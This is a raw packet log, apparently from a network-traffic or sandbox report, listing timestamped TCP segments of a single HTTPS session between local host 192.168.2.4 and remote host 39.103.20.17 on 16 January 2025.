Jan 16, 2025 03:54:26.789263010 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789350986 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.789381981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789437056 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.789484978 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789541006 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.789607048 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789664984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.789710045 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789764881 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.789802074 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789849997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.789902925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.789964914 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.790008068 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.790067911 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.790106058 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.790169001 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.790225029 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.790280104 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.844964981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845055103 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845091105 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845124960 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845146894 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845146894 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845172882 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845180035 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845196009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845199108 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845252037 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845259905 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845278025 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845333099 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845341921 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845396996 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845427036 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845475912 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845498085 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845547915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845608950 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845657110 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845669031 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845715046 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845722914 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845778942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845786095 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845829010 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845864058 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.845916033 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.845959902 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.846009016 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875261068 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875432014 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875464916 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875499964 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875521898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875617981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875642061 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875675917 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875685930 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875715971 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875739098 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875746965 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875792980 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875812054 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875859976 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.875933886 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.875998020 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876044989 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876111031 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876127958 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876184940 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876199007 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876225948 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876246929 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876296043 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876322985 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876385927 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876429081 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876493931 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876527071 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876589060 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876621962 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876678944 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876724958 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876790047 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.876827955 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.876888037 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.932034016 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.932207108 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.932255030 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.932301044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.932380915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.139379025 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.140109062 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.347356081 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.347438097 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608539104 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608581066 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608639956 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608681917 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608702898 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608730078 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608741999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608767986 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608789921 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608809948 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608834028 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608860970 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608860970 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608860970 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608879089 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608937979 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608978033 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.608999014 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.608999014 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609019041 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609064102 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609091043 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609107018 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609158993 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609175920 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609184027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609237909 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609241009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609316111 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609353065 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609376907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609392881 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609419107 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609419107 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609441042 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609452963 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609481096 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609486103 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609486103 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609510899 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609543085 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609555006 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609560966 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609582901 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609607935 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609618902 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609625101 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609644890 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609671116 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609683037 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609689951 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609705925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609736919 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609740973 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609755039 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609767914 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609797955 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609805107 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609812975 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609828949 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609863997 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609867096 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609882116 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609894991 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609920979 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609920979 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609941006 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609952927 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609980106 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.609986067 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.609986067 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610003948 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610034943 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610048056 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610049963 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610085964 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610120058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610121965 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610136032 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610147953 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610179901 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610187054 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610202074 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610213995 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610238075 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610240936 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610269070 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610279083 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610292912 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610301971 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610337973 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610338926 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610337973 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610366106 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610397100 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610404968 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610415936 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610429049 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610462904 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610462904 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610480070 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610491991 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610522985 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610532999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610541105 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610562086 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610594034 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610595942 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610610008 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610622883 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610647917 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610671997 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610671997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610697031 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610726118 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610732079 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610745907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610759020 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610786915 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610788107 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610806942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610817909 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610842943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610843897 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610888004 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610899925 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610913038 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610945940 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610951900 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610951900 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.610970020 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.610999107 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611013889 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611017942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611037970 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611067057 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611071110 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611083031 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611098051 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611128092 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611149073 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611375093 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611435890 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611485004 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611546993 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611577034 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611637115 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611673117 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611737013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611769915 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611831903 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611865044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.611922026 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.611957073 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612015009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612051964 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612107038 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612154007 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612220049 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612255096 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612308979 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612349033 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612406015 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612481117 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612544060 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612584114 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612637043 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612685919 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612736940 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612786055 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612843990 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612888098 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.612958908 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.612988949 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613046885 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613089085 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613148928 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613188982 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613250017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613290071 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613348007 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613388062 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613441944 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613488913 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613549948 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613590002 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613653898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613687992 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613742113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613781929 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613842964 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.613886118 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.613950014 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614012957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614077091 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614114046 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614173889 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614213943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614274025 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614315987 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614379883 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614445925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614499092 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614542961 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614600897 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614640951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614698887 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614742041 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614804029 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614839077 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.614895105 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.614938021 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615003109 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615044117 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615099907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615149021 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615259886 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615293980 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615356922 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615408897 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615462065 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615510941 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615583897 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615622044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615685940 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615726948 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615792990 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615823984 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615880013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.615926027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.615993023 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616025925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616107941 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616134882 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616199017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616241932 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616292000 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616344929 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616408110 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616441965 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616503954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616544962 CET	443	49743	39.103.20.17	192.168.2.4
